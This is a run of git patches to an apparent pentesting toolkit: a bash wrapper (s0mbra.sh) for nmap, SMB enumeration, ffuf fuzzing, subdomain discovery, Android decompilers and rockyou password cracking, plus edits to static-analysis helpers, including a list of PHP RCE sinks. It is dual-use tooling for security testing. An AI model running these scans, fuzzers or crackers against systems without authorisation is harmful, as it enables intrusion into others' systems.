android-backup-extractor added to toolset (STATIC CODE ANALYSIS -> abe) --- s0mbra.sh | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 311558c..3c57a98 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -346,6 +346,22 @@ apk() { fi } +abe() { + clear + echo -e "$BLUE[+] Extracting $1.ab backup into $1.tar...$CLR" + java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1.ab $1.tar + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN[+] Success! $1.ab unpacked and $1.tar was created..." + echo -e "[+] Let's untar some files, shall we?$CLR" + rm -rf $1_extracted && mkdir ./$1_extracted + tar -xf $1.tar -C $1_extracted + echo -e "\n$GREEN[+] tar extracted, folder(s) created:$CLR" + ls -l $1_extracted + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- Damn... :/$CLR" + fi +} + generate_shells() { clear port=$2 @@ -441,6 +457,9 @@ case "$cmd" in apk) apk "$2" ;; + abe) + abe "$2" + ;; decompile_jar) decompile_jar "$2" ;; @@ -512,6 +531,7 @@ case "$cmd" in echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tdecompile_jar [.jar FILE]\t\t\t -> open FILE.jar file in JD-Gui" + echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "\n::$BLUE MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" From ac4e67fd719ecd419db55327079c6a053ca86651 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Jan 2021 16:17:16 +0000 Subject: [PATCH 166/460] [s0mbra] refactoring; UI improvements --- s0mbra.sh | 50 ++++++++++++++++++++++++-------------------------- 1 file changed, 24 insertions(+), 26 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3c57a98..698d6c8 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -62,19 +62,17 @@ interactive() { set_ip "$1" local choice echo "$__logo" - echo -e "$BLUE------------------------------------------------------------------" - echo -e "Bl4de's BugBounty/CTF/PenTest/Hacking multi-tool\t\t -> bbbcpthmts :D " - echo -e "------------------------------------------------------------------" - echo -e "Interactive mode\tTarget: $IP" - echo -e "------------------------------------------------------------------" - echo -e "[1]\t\t -> run full nmap scan + -sV -sC on open port(s) " - echo -e "[2]\t\t -> run SMB enumeration (if port 445 is open)" - echo -e "[3]\t\t -> run nfs scan (port 2049 open)" - echo -e "[4]\t\t -> run nikto against HTTP server on port 80 with default plugins" + echo -e "$BLUE------------------------------------------------------------------------------------------------------" + echo -e "Interactive mode\tTarget: $GREEN$IP$CLR" + echo -e "$BLUE------------------------------------------------------------------------------------------------------" + echo -e "$YELLOW[1]$CLR\t\t $GRAY-> run full nmap scan + -sV -sC on open port(s)$CLR" + echo -e "$YELLOW[2]$CLR\t\t $GRAY-> run SMB enumeration (if port 445 is open)$CLR" + echo -e "$YELLOW[3]$CLR\t\t $GRAY-> run nfs scan (port 2049 open)$CLR" + echo -e "$YELLOW[4]$CLR\t\t $GRAY-> run nikto against HTTP server on port 80 with default plugins$CLR" echo -e "" - echo -e "[0]\t\t -> Quit" - echo -e "------------------------------------------------------------------$CLR" - read -p "Select option:" choice + echo -e "$YELLOW[0]$CLR\t\t $GRAY-> Quit" + echo -e "$BLUE------------------------------------------------------------------------------------------------------" + read -p ">> " choice case $choice in 1) full_nmap_scan "$IP" ;; 2) smb_enum "$IP" ;; @@ -499,40 +497,40 @@ case "$cmd" in *) clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" - echo -e "\n\n--------------------------------------------------------------------------------------------------------------" + echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}" echo -e "\t s0mbra.sh interactive {IP} (interactive mode)$CLR" # interactive\t\t -> TBD - echo -e "\nAvailable commands:" - echo -e "\n::$BLUE COMMANDS IN INTERACTIVE MODE ::$CLR" - echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other bbbcpthmts commands" - echo -e "\n::$BLUE RECON ::$CLR" + echo -e "\n$BLUE:: COMMANDS IN INTERACTIVE MODE ::$CLR" + echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other s0mbra commands" + echo -e "$BLUE:: RECON ::$CLR" echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "\n::$BLUE AMAZON AWS S3 ::$CLR" + echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "\n::$BLUE PENTEST TOOLS ::$CLR" + echo -e "$BLUE:: PENTEST TOOLS ::$CLR" echo -e "\thttp_server [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "\n::$BLUE SMB SUITE ::$CLR" + echo -e "$BLUE:: SMB SUITE ::$CLR" echo -e "\tsmb_enum [IP] [USER] [PASSWORD]\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "\tsmb_get_file [IP] [user] [password] [PATH] \t -> downloads file from SMB share [PATH] on [IP]" echo -e "\tsmb_mount [IP] [SHARE] [USER]\t\t\t -> mounts SMB share at ./mnt/shares" echo -e "\tsmb_umount\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" - echo -e "\n::$BLUE PASSWORDS CRACKIN' ::$CLR" + echo -e "$BLUE:: PASSWORDS CRACKIN' ::$CLR" echo -e "\trockyou_john [TYPE] [HASHES]\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\tssh_to_john [ID_RSA]\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\trockyou_zip [ZIP file]\t\t\t\t -> crack ZIP password" - echo -e "\n::$BLUE STATIC CODE ANALYSIS ::$CLR" - echo -e "\tnpm_scan [MODULE_NAME]\t\t\t\t -> static code analysis of MODULE_NAME npm module with nodestructor" - echo -e "\tjavascript_sca [FILE_NAME]\t\t\t -> static code analysis of single JavaScript file with nodestructor" + echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" + echo -e "\t$YELLOW(JavaScript)$CLR\tnpm_scan [MODULE_NAME]\t\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "\t$YELLOW(JavaScript)$CLR\tjavascript_sca [FILE_NAME]\t -> static code analysis of single JavaScript file with nodestructor" + echo -e "\t$YELLOW(Java)$CLR\t\tdecompile_jar [.jar FILE]\t -> open FILE.jar file in JD-Gui" + echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" - echo -e "\tdecompile_jar [.jar FILE]\t\t\t -> open FILE.jar file in JD-Gui" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" - echo -e "\n::$BLUE MISC ::$CLR" + echo -e "$BLUE:: MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" echo -e "\n\n--------------------------------------------------------------------------------------------------------------" From de10926907900df1aa3b2e2979717408f4e537a7 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 27 Jan 2021 15:01:53 +0000 Subject: [PATCH 167/460] [s0mbra] ffuf option --- s0mbra.sh | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 698d6c8..29b0156 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -360,6 +360,12 @@ abe() { fi } +fu() { + clear + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200 and 500...$CLR" + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200,500 +} + generate_shells() { clear port=$2 @@ -485,6 +491,9 @@ case "$cmd" in s3) s3 "$2" ;; + fu) + fu "$2" "$3" + ;; s3go) s3go "$2" "$3" ;; @@ -530,6 +539,8 @@ case "$cmd" in echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "$BLUE:: WEB ::$CLR" + echo -e "\tfu [URL] [DICT]\t\t\t\t\t -> web application enumeration (dict: starter,lowercase,wordlist)" echo -e "$BLUE:: MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" From 7286e163330d2f795e0715c3be8fd15b769a5817 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 27 Jan 2021 15:25:07 +0000 Subject: [PATCH 168/460] s0mbra, enumeratescope fixes/improvements --- enumeratescope.sh | 5 +++-- s0mbra.sh | 16 +++++++++++++++- 2 files changed, 18 insertions(+), 3 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index c3e52d4..af4550b 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -47,10 +47,11 @@ create_list_of_domains() { ## runs denumerator run_denumerator() { + echo $1 echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,403,500,301,302,304,404,206,405,411,415 -d $1 + denumerator -f domains/__domains.final -c 200,403,500,301,302,304,404,206,405,411,415 --dir $1 --output __$1.log echo -e "$(date) denumerator finished" >> subdomain_enum.log - echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log + echo -e "$(date) total webservers enumerated and saved to report: $(ls -l reports/$1 | wc -l)" >> subdomain_enum.log } diff --git a/s0mbra.sh b/s0mbra.sh index 29b0156..a1f7044 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -242,6 +242,16 @@ nfs_enum() { echo -e "\n[+] Done." } + +# if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available +# we can enumerate nfs shares available: +subdomenum() { + echo -e "$BLUE[+] Running subdomain enumeration and HTTP(S) web servers discovery on $1 scope file..." + enumeratescope $1 $2 + echo -e "\n[+] Done." +} + + # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -434,6 +444,9 @@ case "$cmd" in set_ip) set_ip "$2" ;; + subdomenum) + subdomenum "$2" "$3" + ;; full_nmap_scan) full_nmap_scan "$2" ;; @@ -512,6 +525,7 @@ case "$cmd" in echo -e "\n$BLUE:: COMMANDS IN INTERACTIVE MODE ::$CLR" echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other s0mbra commands" echo -e "$BLUE:: RECON ::$CLR" + echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" @@ -545,6 +559,6 @@ case "$cmd" in echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" echo -e "\n\n--------------------------------------------------------------------------------------------------------------" - echo -e "$GREEN\nHack The Planet!\n$CLR" + echo -e "$GREEN Hack The Planet!\n$CLR" ;; esac From 350931fc8b7320afc5eff6e9c2b2662e8fc566b2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Jan 2021 21:51:59 +0000 Subject: [PATCH 169/460] [s0mbra] add JADX and BytecodeViewer openers for .apk --- s0mbra.sh | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index a1f7044..a36b100 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -342,6 +342,18 @@ decompile_jar() { java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } +bcviewer() { + clear + echo -e "$BLUE[+] Opening $1 in BytecodeViewer...$CLR" + java -jar /Users/bl4de/hacking/tools/Java_Decompilers/BytecodeViewer/Bytecode-Viewer-2.9.22.jar $1 +} + +jadx() { + clear + echo -e "$BLUE[+] Opening $1 in JADX...$CLR" + /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 +} + apk() { clear echo -e "$BLUE[+] OK, let's see this APK...$CLR" @@ -471,6 +483,12 @@ case "$cmd" in dex_to_jar) dex_to_jar "$2" ;; + bcviewer) + bcviewer "$2" + ;; + jadx) + jadx "$2" + ;; apk) apk "$2" ;; @@ -550,11 +568,13 @@ case "$cmd" in echo -e "\t$YELLOW(JavaScript)$CLR\tjavascript_sca [FILE_NAME]\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$YELLOW(Java)$CLR\t\tdecompile_jar [.jar FILE]\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" + echo -e "\t$YELLOW(Java)$CLR\t\tbcviewer [.apk FILE]\t\t -> open FILE.apk file in BytecodeViewer GUI" + echo -e "\t$YELLOW(Java)$CLR\t\tjadx [.apk FILE]\t\t -> open FILE.apk file in JADX GUI" echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\tfu [URL] [DICT]\t\t\t\t\t -> web application enumeration (dict: starter,lowercase,wordlist)" + echo -e "\tfu [URL] [DICT]\t\t\t\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "$BLUE:: MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" From aff8d639806e273da0f9d0b9fe9e96c87841a839 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 2 Feb 2021 14:44:08 +0000 Subject: [PATCH 170/460] [s0mbra] remove BytecodeViewer option --- s0mbra.sh | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a36b100..42ef300 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -342,12 +342,6 @@ decompile_jar() { java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } -bcviewer() { - clear - echo -e "$BLUE[+] Opening $1 in BytecodeViewer...$CLR" - java -jar /Users/bl4de/hacking/tools/Java_Decompilers/BytecodeViewer/Bytecode-Viewer-2.9.22.jar $1 -} - jadx() { clear echo -e "$BLUE[+] Opening $1 in JADX...$CLR" @@ -483,9 +477,6 @@ case "$cmd" in dex_to_jar) dex_to_jar "$2" ;; - bcviewer) - bcviewer "$2" - ;; jadx) jadx "$2" ;; @@ -568,7 +559,6 @@ case "$cmd" in echo -e "\t$YELLOW(JavaScript)$CLR\tjavascript_sca [FILE_NAME]\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$YELLOW(Java)$CLR\t\tdecompile_jar [.jar FILE]\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" - echo -e "\t$YELLOW(Java)$CLR\t\tbcviewer [.apk FILE]\t\t -> open FILE.apk file in BytecodeViewer GUI" echo -e "\t$YELLOW(Java)$CLR\t\tjadx [.apk FILE]\t\t -> open FILE.apk file in JADX GUI" echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" From 2efba84f4ba71613aaa2b184f18358f347921eb9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 9 Mar 2021 13:29:21 +0000 Subject: [PATCH 171/460] some code updates --- hexview/hexview.py | 12 ++++++------ pef/test.php | 2 +- s0mbra.sh | 17 +++++------------ 3 files changed, 12 insertions(+), 19 deletions(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 1ab6fc6..2a0e7a8 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -266,8 +266,8 @@ def extract_shellcode(start, end, read_binary): else: shellcode = shellcode + "{}".format(COLORS['yellow']) + str( hex(ord(c))).replace("0x", "\\x") + "{}".format(COLORS['white']) - print "\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format(COLORS['cyan'], start, end, COLORS['white']) - print "\n{}\n".format(shellcode) + print("\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format(COLORS['cyan'], start, end, COLORS['white'])) + print("\n{}\n".format(shellcode)) if __name__ == "__main__": """ @@ -304,7 +304,7 @@ def extract_shellcode(start, end, read_binary): if args.file: # read first 8 bytes to recognize file type - print file_type(open(args.file, 'rb').read(8)) + print(file_type(open(args.file, 'rb').read(8))) with open(args.file, 'rb') as infile: if args.start > -1 and args.end and (int(args.start, 16) > -1 and int(args.end, 16) > int(args.start, 16)): @@ -323,7 +323,7 @@ def extract_shellcode(start, end, read_binary): offset = __FROM - print "{}[+] Hex dump: {}\n".format(COLORS['cyan'], COLORS['white']) + print("{}[+] Hex dump: {}\n".format(COLORS['cyan'], COLORS['white'])) while offset < __TO: chunk = infile.read(b) @@ -379,9 +379,9 @@ def extract_shellcode(start, end, read_binary): if args.diff: output += df_output - print output + print(output) offset += 16 print else: - print parser.usage + print(parser.usage) diff --git a/pef/test.php b/pef/test.php index 3b8043b..f513700 100644 --- a/pef/test.php +++ b/pef/test.php @@ -1,6 +1,6 @@ id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\trockyou_zip [ZIP file]\t\t\t\t -> crack ZIP password" echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" - echo -e "\t$YELLOW(JavaScript)$CLR\tnpm_scan [MODULE_NAME]\t\t -> static code analysis of MODULE_NAME npm module with nodestructor" - echo -e "\t$YELLOW(JavaScript)$CLR\tjavascript_sca [FILE_NAME]\t -> static code analysis of single JavaScript file with nodestructor" - echo -e "\t$YELLOW(Java)$CLR\t\tdecompile_jar [.jar FILE]\t -> open FILE.jar file in JD-Gui" + echo -e "\tnpm_scan [MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "\tjavascript_sca [FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" + echo -e "\tdecompile_jar [.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" - echo -e "\t$YELLOW(Java)$CLR\t\tjadx [.apk FILE]\t\t -> open FILE.apk file in JADX GUI" - echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" + echo -e "\tjadx [.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" + echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" From 3cefab457208605bcc7d9909eafd0046709b07ae Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 30 Apr 2021 15:31:28 +0100 Subject: [PATCH 172/460] nodestructor reformat --- nodestructor/nodestructor.py | 56 ++++++++++++++++++------------------ 1 file changed, 28 insertions(+), 28 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index cc775df..16f0430 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -202,12 +202,12 @@ def process_files(subdirectory, sd_files, pattern="", verbose=False): if not '/node_modules/' in subdirectory or ('/node_modules/' in subdirectory and skip_node_modules is False): if (skip_test_files is False): perform_code_analysis(current_filename, pattern, verbose) - total_files=total_files + 1 + total_files = total_files + 1 else: if __file not in TEST_FILES and "/test" not in current_filename and "/tests" not in current_filename: perform_code_analysis( current_filename, pattern, verbose) - total_files=total_files + 1 + total_files = total_files + 1 def perform_code_analysis(src, pattern="", verbose=False): @@ -221,25 +221,25 @@ def perform_code_analysis(src, pattern="", verbose=False): # if -P / --pattern is defined, overwrite patterns with user defined # value(s) if pattern: - patterns=[".*" + pattern] + patterns = [".*" + pattern] - print_filename=True + print_filename = True - _file=open(src, "r") - _code=_file.readlines() - i=0 - patterns_found_in_file=0 + _file = open(src, "r") + _code = _file.readlines() + i = 0 + patterns_found_in_file = 0 for _line in _code: i += 1 - __line=_line.strip() + __line = _line.strip() for __pattern in patterns: - __rex=re.compile(__pattern) + __rex = re.compile(__pattern) if __rex.match(__line.replace(' ', '')): if print_filename: - files_with_identified_patterns=files_with_identified_patterns + 1 + files_with_identified_patterns = files_with_identified_patterns + 1 print("FILE: \33[33m{}\33[0m\n".format(src)) - print_filename=False + print_filename = False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, ' code pattern identified: ', _code, verbose) @@ -247,7 +247,7 @@ def perform_code_analysis(src, pattern="", verbose=False): # URL searching if identify_urls == True: if url_regex.search(__line): - __url=url_regex.search(__line).group(0) + __url = url_regex.search(__line).group(0) # show each unique URL only once if __url not in urls: printcodeline(__url, i, __url, @@ -255,7 +255,7 @@ def perform_code_analysis(src, pattern="", verbose=False): urls.append(__url) if patterns_found_in_file > 0: - patterns_identified=patterns_identified + patterns_found_in_file + patterns_identified = patterns_identified + patterns_found_in_file print(beautyConsole.getColor("red") + "\nIdentified %d code pattern(s)\n" % (patterns_found_in_file) + beautyConsole.getSpecialChar("endline")) @@ -266,7 +266,7 @@ def perform_code_analysis(src, pattern="", verbose=False): if __name__ == "__main__": show_banner() - parser=argparse.ArgumentParser() + parser = argparse.ArgumentParser() parser.add_argument("filename", help="Specify a file or directory to scan") parser.add_argument( "-r", "--recursive", help="check files recursively", action="store_true") @@ -287,26 +287,26 @@ def perform_code_analysis(src, pattern="", verbose=False): parser.add_argument( "-p", "--pattern", help="define your own pattern to look for. Pattern has to be a RegEx, like '.*fork\('. nodestructor removes whiitespaces, so if you want to look for 'new fn()', your pattern should look like this: '.*newfn\(\)' (all special characters for RegEx have to be escaped with \ )") - args=parser.parse_args() + args = parser.parse_args() try: - base_path=args.filename + base_path = args.filename if args.recursive: - FILE_LIST=os.listdir(args.filename) + FILE_LIST = os.listdir(args.filename) - pattern=args.pattern if args.pattern else "" + pattern = args.pattern if args.pattern else "" - exclude=[e for e in args.exclude.split( + exclude = [e for e in args.exclude.split( ',')] + exclude_always if args.exclude else exclude_always - include=[i for i in args.include.split(',')] if args.include else [] + include = [i for i in args.include.split(',')] if args.include else [] - skip_node_modules=args.skip_node_modules - skip_test_files=args.skip_test_files - identify_urls=args.include_urls - verbose=args.verbose + skip_node_modules = args.skip_node_modules + skip_test_files = args.skip_test_files + identify_urls = args.include_urls + verbose = args.verbose if args.include_browser_patterns: - patterns=patterns + browser_patterns + patterns = patterns + browser_patterns if args.recursive: for subdir, dirs, files in os.walk(base_path): @@ -318,10 +318,10 @@ def perform_code_analysis(src, pattern="", verbose=False): process_files(subdir, files, pattern, verbose) else: # process only single file - s_filename=args.filename + s_filename = args.filename if s_filename[-3:] == '.js': perform_code_analysis(s_filename, pattern, verbose) - total_files=total_files + 1 + total_files = total_files + 1 except Exception as ex: print("{}An exception occured: {}\n\n".format( From 434d210fc88026e037bc96e1121430b64f7fdc62 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 23 May 2021 22:29:46 +0100 Subject: [PATCH 173/460] [denumerator.py] removed unused timeout arg --- denumerator/denumerator.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 4d6116b..97fb00a 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -292,14 +292,12 @@ def main(): parser.add_argument( "-f", "--file", help="File with list of hostnames") - parser.add_argument( - "-t", "--timeout", help="Max. request timeout (default = 2)") parser.add_argument( "-s", "--success", help="Show all responses, including exceptions") parser.add_argument( "-o", "--output", help="Path to output file") parser.add_argument( - "-d", "--dir", help="Output directory name (default: report/") + "-d", "--dir", help="Output directory name (default: report/)") parser.add_argument( "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' ) @@ -311,8 +309,6 @@ def main(): ) args = parser.parse_args() - if args.timeout: - timeout = args.timeout if args.nmap: nmap = True From 66f0b68bbda27ba8d8a0a81d68d5a4a66e96ff17 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 6 Jun 2021 22:43:36 +0100 Subject: [PATCH 174/460] pefdocs cleanup; codestructor.py -> pef+nodestructor+improvements --- codestructor/codestructor.py | 13 +++++++++++ pef/imports/pefdocs.py | 42 ------------------------------------ pef/pef.py | 6 ++++-- pef/test.inc | 5 +++++ 4 files changed, 22 insertions(+), 44 deletions(-) create mode 100755 codestructor/codestructor.py create mode 100644 pef/test.inc diff --git a/codestructor/codestructor.py b/codestructor/codestructor.py new file mode 100755 index 0000000..3e5b1d6 --- /dev/null +++ b/codestructor/codestructor.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 +''' + CODEStructor.py - Static Code Analysis grep-like tool on steroids :) + - grep-like search for dangerous code patterns, sources and sinks + - search for secrets, hardcoded credentials, interesting strings like hashes etc. + - detailed, colorful output with configurable verbosity level + - based on my previous tools: nodestructor and pef + + @author bl4de + @github https://github.com/bl4de/security-tools +''' +import argparse + diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 153fad3..856f40b 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -29,24 +29,6 @@ "Code Injection", "high" ], - "fopen()": [ - "Opens file or URL", - "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", - "Local File Include; Remote File Include", - "high" - ], - "popen()": [ - "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command", - "popen ( string $command , string $mode ) : resource", - "RCE", - "high" - ], - "pcntl_exec()": [ - "Executes specified program in current process space with the given arguments", - "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", - "RCE", - "high" - ], "eval()": [ "Evaluate a string as PHP code", "eval ( string $code ) : mixed", @@ -113,18 +95,6 @@ "Code Injection", "medium" ], - "parse_str()": [ - "Parses encoded_string as if it were the query string passed via a URL and sets variables in the current scope (or in the array if result is provided).", - "parse_str ( string $encoded_string [, array &$result ] ) : void", - "Code Injection", - "medium" - ], - "putenv()": [ - "Sets the value of an environment variable", - "putenv ( string $setting ) : bool", - "Code Injection", - "low" - ], "ini_set()": [ "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", "ini_set ( string $varname , string $newvalue ) : string", @@ -143,12 +113,6 @@ "XSS, HTML Injection, Content Injection etc.", "low" ], - "header()": [ - "header() is used to send a raw HTTP header.", - "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", - "Header Injection (?)", - "low" - ], "unserialize()": [ "unserialize() takes a single serialized variable and converts it back into a PHP value.", "unserialize ( string $str [, array $options ] ) : mixed", @@ -407,12 +371,6 @@ "Information Disclosure", "low" ], - "ini_set()": [ - "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", - "ini_set ( string $varname , string $newvalue ) : string", - "Configuration Arbitrary Change in runtime", - "low" - ], "php_uname()": [ "Returns information about the operating system PHP is running on", "php_uname ([ string $mode = \"a\" ] ) : string", diff --git a/pef/pef.py b/pef/pef.py index 2161b05..3873456 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -30,7 +30,8 @@ def banner(): Prints welcome banner with contact info """ print(beautyConsole.getColor("green") + "\n\n", "-" * 100) - print("-" * 6, " PEF | PHP Exploitable Functions source code advanced grep utility", " " * 35, "-" * 16) + print("-" * 6, " PEF | PHP Exploitable Functions source code advanced grep utility", + " " * 35, "-" * 16) print("-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", " " * 22, "-" * 16) print("-" * 100, 